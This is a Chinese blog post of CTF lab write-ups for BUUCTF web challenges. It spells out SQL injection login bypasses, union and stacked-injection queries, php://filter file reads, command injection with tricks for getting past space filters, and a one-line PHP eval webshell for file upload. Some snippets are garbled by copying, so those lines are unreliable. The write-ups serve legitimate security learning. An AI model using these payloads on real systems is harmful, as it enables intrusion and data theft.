buucfe

最新推荐文章于 2024-08-12 21:39:45 发布
最新推荐文章于 2024-08-12 21:39:45 发布
阅读量100 收藏 1
点赞数
文章标签： php web安全 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_57455077/article/details/130476257
版权

buuctf

第一题：【SOL注入主要考的是万能密码 用户名：admin’ or 1=1# 密码随意】（用户名和密码二者其中一个必须有单撇号）

第二题：右键查看源代码，发现有一段PHP代码：

<!–
c a t = cat= cat=_GET[‘cat’];
echo $cat;
if($cat==‘dog’){
echo ‘Syc{cat_cat_cat_cat}’;
}
–>

在题目链接（即网站首页）后添加如下内容：

?cat=dog

即可得flag。

第三题：查看源代码，发现有如下代码：


然后在网页后面加/source.php后发现代码有这一串（$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];）代码，然后再删除网址后面/source.php重新添加/hint.php,出现这一串代码（flag not here, and flag in ffffllllaaaagggg），最后在最初的网址后面加/?file=hint.php?../…/…/…/…/ffffllllaaaagggg得到flag。

第四题：点击tip，再查看源代码，发现含有?file=flag.php，又根据题目提示include，猜测存在文件包含漏洞，可利用伪协议php://php://访问各个输入/输出流（I/O streams），在CTF中经常使用的是php://filter和php://input，其中，php://filter用于读取源码，php://input用于执行php代码，我们可以使用php://filter读取源代码首先尝试构造 /?file=php://filter/resource=flag.php发现没有反应。然后尝试构造/?file=php://filter/read=convert.base64-encode/resource=flag.php得到一堆字符串，这是加密了，所以得到的base64字符串再解码一下就得到flag。

相关知识：php://filter可以获取指定文件源码。当它与包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，让其不执行。从而导致 任意文件读取。

/?file=php://filter/resource=xxx.php

直接读取xxx.php文件，但大多数时候很多信息无法直接显示在浏览器页面上

/?file=php://filter/read=convert.base64-encode/resource=xxx.php

将文件内容进行base64编码后显示在浏览器上。

第五题：Execl:

涉及知识点：；表示的是命令分隔符，即当执行完第一个命令，继续执行下一个命令。|表示管道。

解题：我们ping 127.0.0.1;ls试试,

在这里插入图片描述
可以看到，没有过滤分号和ls

接着我们就遍历目录了,通过cd …/达到访问上一个目录的目的，再通过ls 达到查看该目录有哪些文件

当我们到…/…/…/时可以看到有我们想要的flag了，

在这里插入图片描述
输入127.0.0.1;cd…/…/…/flag;ls 后发现没有任何目录

那么我们想要的flag肯定就在该目录下了

直接127.0.0.1;cd…/…/…/;cat flag

在这里插入图片描述

第六题：随便注1

题解：第一种解法：抓包后repeater,再添加GET /?inject=1’//or//1=1;–+ HTTP/1.1,然后GET /?inject=1’;show//tables;–+ HTTP/1.1，再然后GET /?inject=1’;handler//1919810931114514//open;handler//1919810931114514//read//next;handler//1919810931114514//close;–+ HTTP/1.1得到flag。

第二种解法：1，测试1‘ or 1=1；#，初步判断存在SQL注入，2，测试字段数，1’ order by 3;#,到3时就报错，说明字段数为2，接着尝试union注入，1’ union select 1,2;#回显了过滤的关键字。然后就是今天学习的“堆叠注入”，先通过0’;show databases;#爆出数据库，然后show tables爆出表，发现有两个表，（表名为数字时要用反引号包起来），然后给两个表名改名字，1.通过rename先把words表改名为其他表名，2.把1919810931114514表的名字改为words,3.给新words表添加新的列名id，1’;rename table words to words2; rename table 1919810931114514 to words; alter table words change flag id varchar(100);最后1‘ or 1=1;#得到flag。

Ping Ping Ping

知识点：；：命令1；命令2——先执行命令1再执行命令2

&：命令1&命令2——先执行命令1再执行命令2

|：命令1|命令2——只执行命令2

【BUUCTF】[GXYCTF2019]Ping Ping Ping Writeup

0x00 考点

0、命令联合执行

;     前面的执行完执行后面的
|     管道符，上一条命令的输出，作为下一条命令的参数（显示后面的执行结果）         
||    当前面的执行出错时（为假）执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错，后面的也不执行，前面只能为真
%0a  （换行）
%0d  （回车）
12345671234567

1、命令绕过空格方法有：

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能，需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       （\x09表示tab，也可以用\x20）
123456789101112123456789101112
ps:有时会禁用cat:
解决方法是使用tac反向输出命令：
linux命令中可以加\，所以甚至可以ca\t /fl\ag
123123

2、内联执行

内联，就是将反引号内命令的输出作为输入执行

?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者，始终为空字符串，$后可以接任意数字

这里$IFS$9或$IFS垂直，后面加个$与{}类似，起截断作用
123456123456

解题：1.添加/?ip=1;ls或者/?ip=1|ls,然后/？ip=1;x=lag;cat$IFS 9 f 9f 9fx.php,查看源码得到flag。

EasySQL

1

1.试试sql注入正常套路
（1）先试试1
在这里插入图片描述

有回显
（2）再试试字母
在这里插入图片描述

没有回显
（3）试试单引号注入
在这里插入图片描述

提示不一样，因此猜测这里有注入点
（4）试试有多少列
在这里插入图片描述

还是不成功，因此一般的联合查询在这里不能使用
（5）基于时间的盲注和报错注入都需要嵌套联合查询语句来实现，因此可以跳过，直接试试布尔型盲注
在这里插入图片描述

还是不成功
2.利用堆叠注入
（1）查找所有数据库
在这里插入图片描述

（2）查询所有表名
在这里插入图片描述

（3）查询Flag表中的列
在这里插入图片描述

不成功
3.接下来是网上的两种解法,参照了网上大佬们的WP，自己做的一些总结
（1）第一种是猜出了源码select $_POST[‘query’] || flag from Flag,
sql_mode 设置了 PIPES_AS_CONCAT 时，|| 就是字符串连接符，相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 （默认没有设置），|| 就是逻辑或，相当于OR函数
第一种就按默认没有配置来进行，此时||就是逻辑或
||在命令执行中见过，
回顾:
command1;command2顺序执行
command1 || command2
如果command1执行失败，则执行command2
command1 && command2
如果command1执行成功，则执行command2

因此只需要将

$_POST[‘query’]

提交的数据换成*,1(如果直接写的话会被报错，且写在后面会失效)
解释:
sql=select.post[‘query’].“||flag from Flag”;（拼接语句）
如果$post[‘query’]的数据为

*,1

sql语句就变成了select *,1||flag from Flag，
就是select *,1 from Flag，这样就直接查询出了Flag表中的所有内容。
此处的1是临时增加一列，列名为1且这一列的所有值都为1

执行payload：*,1
在这里插入图片描述

得到flag
（2）第二种是将||作为字符串连接符，因此需要在语句中更改其配置
sql_mode=PIPES_AS_CONCAT时即可
Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后：select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
相当于是select 1 from Flag和select flag from Flag
在这里插入图片描述

得到flag。

Secret File

1

别问蒋璐源是谁，她是谁谁也不知道，这道题老规矩先看一下源代码中有没有什么有价值的信息
在这里插入图片描述
可以看见里面有一个名叫Archive_room.php的文件，我们点进去看一看
在这里插入图片描述
该界面是这样的，有一个按钮链接，可以点一下看一下是什么情况
在这里插入图片描述
可以看见这里作者在这里搞了一连串的剧情，但都是没有用的剧情，所以为了稳妥起见，我们还是抓包看吧，就从按钮哪里开始
在这里插入图片描述
这里可以发现，这里有一个被注释了的php文件，
然后我们点开这个php文件，哈哈哈，看看里面有什么有用的信息
在这里插入图片描述
好了，现在，代码审计开始了，唉，扎心了老铁，最烦的就是代码审计了
在这里插入图片描述
这里我解释一下吧，这里它利用了filter伪协议，该协议刚好就能够查看文件包含的漏洞，所以当我们利用该协议查看flag.php时，会将它的源代码爆出来，但是因为base64的加密原因，所以我们还需要进行一次base64解密，现在进行解密行为
在这里插入图片描述
在这里插入图片描述
好了，至此flag就出来了。

LoveSQL

1

万能密码如下：在这里插入图片描述
这里账号填1' or 1=1#，密码随便写。
在这里插入图片描述
登陆成功，看了一下url，是以get方式进行传参。先在username处测试一下有没有注入点：
?username=1' order by 1%23&password=ads在这里插入图片描述
没有报错，只是说账号密码错误。直到order by 4的时候，报错了：
在这里插入图片描述
判断出有三个字段，接下来开始寻找注入点：
?username=1' union select 1,2,3%23&password=ads在这里插入图片描述
很明显，2和3都是注入点，而且没有过滤，接下来直接写命令了。
?username=1' union select 1,database(),3%23&password=ads
得到数据库名：geek！

?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads`
得到表名`geekuser,l0ve1ysq1
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads`
得到字段名`id,username,password

?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads
flag出来了~~

flag{70dfe726-2d2d-443e-a90a-5f5c3163b305}
在这里插入图片描述

极客大挑战 2019]Http

1

referer：服务器伪造

X-Forwarded-For:用于修改ip

解法：查看源代码

[ACTF2020 新生赛]Upload

1

先写一个木马文件如：

GIF89a
<script language="php">eval($_POST['a'])</script>

保存为有后缀为phtml，和jpg，上传jpg文件，查看源代码，删除οnsubmit=“return checkFile()”,再上传含有木马phtml文件，成功上传后访问页面显示的文件。空白页面说明上传成功，蚁剑连接。

[ACTF2020 新生赛]BackupFile

1

常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history
于是用dirsearch扫描目录
看到bak的后缀(或者一个一个试一试)，在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
下载后给了源码

<?php
	include_once "flag.php";//包含flag文件

	if(isset($_GET['key'])) {//获取key参数
	    $key = $_GET['key'];
	    if(!is_numeric($key)) {//判断key是否为数值OR数字字符串，不仅可以检查10进制，16进制也可以
	        exit("Just num!");//不是则退出脚本
	    }
	    $key = intval($key);//获取变量整数数值
	    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
	    if($key == $str) {//弱比较
	        echo $flag;
	    }
	}
	else {
	    echo "Try to find out source file!";
	}
?>
123456789101112131415161718123456789101112131415161718

简单的弱类型绕过
php中两个等于号是弱等于
取str的123与key进行比较，（弱比较：如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换成数值并且比较按照数值来进行，在比较时该字符串的开始部分决定了它的值，如果该字符串以合法的数值开始，则使用该数值，否则其值为0。所以直接传入key=123就行）
php弱类型

在这里插入图片描述
在这里插入图片描述

weixin_57455077
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
LNMP环境搭建论坛
qq_63652578的博客
08-07 999
root@Rocky8-node1 ~]# mv upload/* /usr/share/nginx/html/ #把upload下的所有内容移动到/usr/share/nginx/html/[root@Rocky8-node1 ~]# sed -i '/^group =/ c \group = nginx' /etc/php-fpm.d/www.conf #将组改为nginx。
[FSCTF 2023]细狗2.0
2301_81462177的博客
08-09 292
cmd=ls${lFS}-1剁FSS9-后面加个$与{类似，起截断作用，$9是当前系统shel进程第九个参数持有者始终为空字符串。cmd=lsSlFS-l单纯$IFS2,IFS2被bash解释器当做变量名，输不出来结果，加一个{}就固定了变量名。ca\t/*123*/f* 发现不可以，看题解后发现使用${IFS}绕过。cmd=ls$lFs$9-1 (这里1到9应该都可以)ca\t$IFS/f* 可得flag。尝试输入cat /f*
【信创】Linux系统如何使用命令行或图形化工具禁用ipv6 _ 统信 _ 麒麟 _ 中科方德
鹏大圣运维
08-09 1051
Hello，大家好啊，今天给大家带来一篇关于在Linux系统中如何使用命令行或Grub Customizer工具禁用IPv6的文章。IPv6在某些环境下可能会引起网络问题或不必要的复杂性，因此禁用它可能会提高系统的稳定性和性能。本文将详细介绍两种禁用IPv6的方法。欢迎大家分享转发，点个关注和在看吧！
PHP图书借阅微信小程序系统源码
2401_84414018的博客
08-12 93
图书借阅微信小程序”不仅是一个借阅工具，更是你探索知识、享受阅读的得力助手。在这个快节奏的时代，让我们一起慢下来，用阅读滋养心灵，开启一段段美妙的阅读旅程吧！快来加入我们，发现更多阅读的乐趣和惊喜！📚🌟。
ctfhub文件包含
a666666688的博客
08-07 575
文件的内容，通常这个文件包含一些敏感信息，比如CTF比赛中的flag。这样就可以通过浏览器或其他HTTP客户端看到。，直接访问这个URL将导致服务器读取并返回。
Linux安全与高级应用（四）深入探索MySQL数据库：安装、管理与安全实践
洛秋的博客
08-07 1461
Linux：作为操作系统，提供稳定的运行环境。Apache：作为Web服务器，处理HTTP请求。MySQL：作为数据库管理系统，存储和管理数据。：作为脚本语言，生成动态网页。LAMP平台的优势在于其成本低廉、可定制性强、易于开发、方便易用且安全稳定。这使得LAMP成为许多企业和开发者的首选平台。通过以上步骤，我们完成了LAMP平台的部署及其主要组件的配置和测试。LAMP平台的搭建不仅为Web开发提供了一个强大的环境，同时也展现了其在成本和效率上的优势。
贷齐乐系统sql注入漏洞
banliyaoguai的博客
08-12 306
然后在这里取值的时候.和_会区分开，然后我们可以在第一个i_d写我们的payload，在i.d写正常数据用来绕过waf。可以使用使用php小特性和全局污染绕过，在这里的时候会将.转换成下划线，然后桡骨第一个waf。这里由于等号被过滤乐所以使用like，然后查表名的时候由于'被过滤所以使用了16进制编码。首先php在遇到两个相同名字参数时，php是取后一个的,如下图最终i_d的值为1。代码先走这里将输入的数据进行过滤。然后再继续往下走，再进行一个查询。然后继续往下，用=进行分割。
ThinkPHP5.0.15漏洞解析及SQL注入
m0_70638961的博客
08-11 194
通过查看5.0.15和5.0.16版本的对比，可以看到16版本对在Builder.php里面对数据库的增减做了修正，所以可以15版本的漏洞就存在在这里。这里的代码用的拼接的方式，就可以尝试使用报错注入来实现。到了这里就发现，我们注入的三个值在这里派上了用场，val[1]就是注入的报错语句，这里走完，返回的就是报错注入语句+1，接下来我们继续走，一直走到这里。为了清楚代码是怎么走的，我们可以在insert()打一个断点，重新提交后就可以进入断点了，这里我们可以看到username有三个值。
解决域名加别名后再代理或者映射到fastadmin项目
weixin_51957364的博客
08-12 114
如果遇到微应用不想再添加或者不方便添加单独的二级域名时，就需要用到代理或者映射来进入到我们的微应用项目中。然后再修改config.php文件里面的view_replace_str参数，添加你的域名加别名就可以了。可以修改route.php路由文件的下面这个参数。最后记得一定要再后台一键清理缓存！
代码随想录算法训练营Day35 | 01背包问题 | 416. 分割等和子集
wonderlandlja的博客
08-10 230
【代码】代码随想录算法训练营Day35 | 01背包问题 | 416. 分割等和子集。
RCE之无参数读取文件
weixin_63032002的博客
08-11 554
顾名思义，就是只使用函数，且函数不能带有参数，这里有种种限制：比如我们选择的函数必须能接受其括号内函数的返回值；使用的函数规定必须参数为空或者为一个参数等phpif(';R)??
优化之光：用Xdebug照亮PHP性能的阴影
2401_85761762的博客
08-12 221
Xdebug的性能分析工具能够帮助开发者深入理解代码的执行效率，并通过可视化工具快速定位性能瓶颈。同时，其他工具如Blackfire、XHProf等也为PHP性能分析提供了多样化的选择。Xdebug作为PHP开发者的得力助手，不仅提供了强大的调试功能，其性能分析工具也能帮助开发者深入理解代码的执行效率。本文将详细介绍如何使用Xdebug进行PHP性能分析，以及其他可用的工具，让开发者能够有效识别并优化性能瓶颈。通过本文的介绍，你应该对如何使用Xdebug以及其他工具进行PHP性能分析有了更深入的了解。
RCE漏洞及绕过
BKN711的博客
08-11 599
RCE漏洞：远程代码执行和远程命令执行在很多Web应用中，开发人员会使用一些特殊函数，这些函数以一些字符串作为输入，功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时，就产生了RCE漏洞。
HTB-Permx靶机笔记
LINGX5的博客
08-11 679
我们用nmap扫描，探测出了目标服务有http和ssh服务，对http服务进行子域名枚举，在它的旁站中，我们发现他是一个cms的架构在github上找到了chamilo框架的CVE-2023-4220漏洞，根据github上的教程利用exp，成功后的了www-data用户权限。在chamilo框架的配置文件中，我们发现mysql数据库的配置信息，可以成功登陆数据库，但是admin的密码是hash值很难破解。
RCE：命令注入 过滤空格 远程代码执行 php://input 读取源代码
qq_69100706的博客
08-12 484
命令注入是一种常见的技巧，用于实现远程代码执行（RCE）。命令注入发生在Web应用或服务接受用户输入并将其用于执行操作系统命令的场景中，如果用户输入未被妥善清理或验证，攻击者可以注入额外的命令，从而执行任意代码。
文件上传漏洞 思路方法总结
hmysn的博客
08-08 910
简单来说就是一种校验机制，当文件进行上传的时候对文件的Content-Type进行校验，如果是白名单中所允许的类型则能够成功上传，如果不是则无法上传。上传文件时，如果服务器端代码未对客户端上传的文件进行严格的验证和过滤，就容易造成可以上传任意文件的情况，包括上传脚本文件（.asp、.aspx 、.php 、 .jsp等格式的文件）文件后缀绕过攻击的原理是虽然服务器端代码中限制了某些后缀的文件上传，但是有些版本的apache是允许解析其他文件后缀的，这个和上面的.htaccess文件类似，可以修改。
sql注入CMSeasy
plutochen05的博客
08-11 148
板块，而可以看到这个板块是从cookie中拿出来安全码，而上一步未授权我们已经成功拿到安全码，拿到后通过xxtea_decrypt这个函数进行解密，解密后进行一个反序列化。可以看到构造函数ip是通过X_FORWARDED_FOR来获取的，而这个刚好可以伪造，那我们再加着ishtml=1就达成了要点未授权访问。将安全cookie添加到我们的index.php后，开始写我们的语句。我们需要和源码是反着的，源码：先解码，再解密，再序列化。这里在解密，解密也是用的cookie_pass。代码审计，未授权访问。
php 匿名函数示例
qq_30049249的博客
08-11 343
https://andi.cn/page/621656.html
无字母数字webshell之命令执行
最新发布
qq_51502737的博客
08-12 485
因为不能使用了，所以我们无法构造PHP中的变量。所以，如何解决这个问题？
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值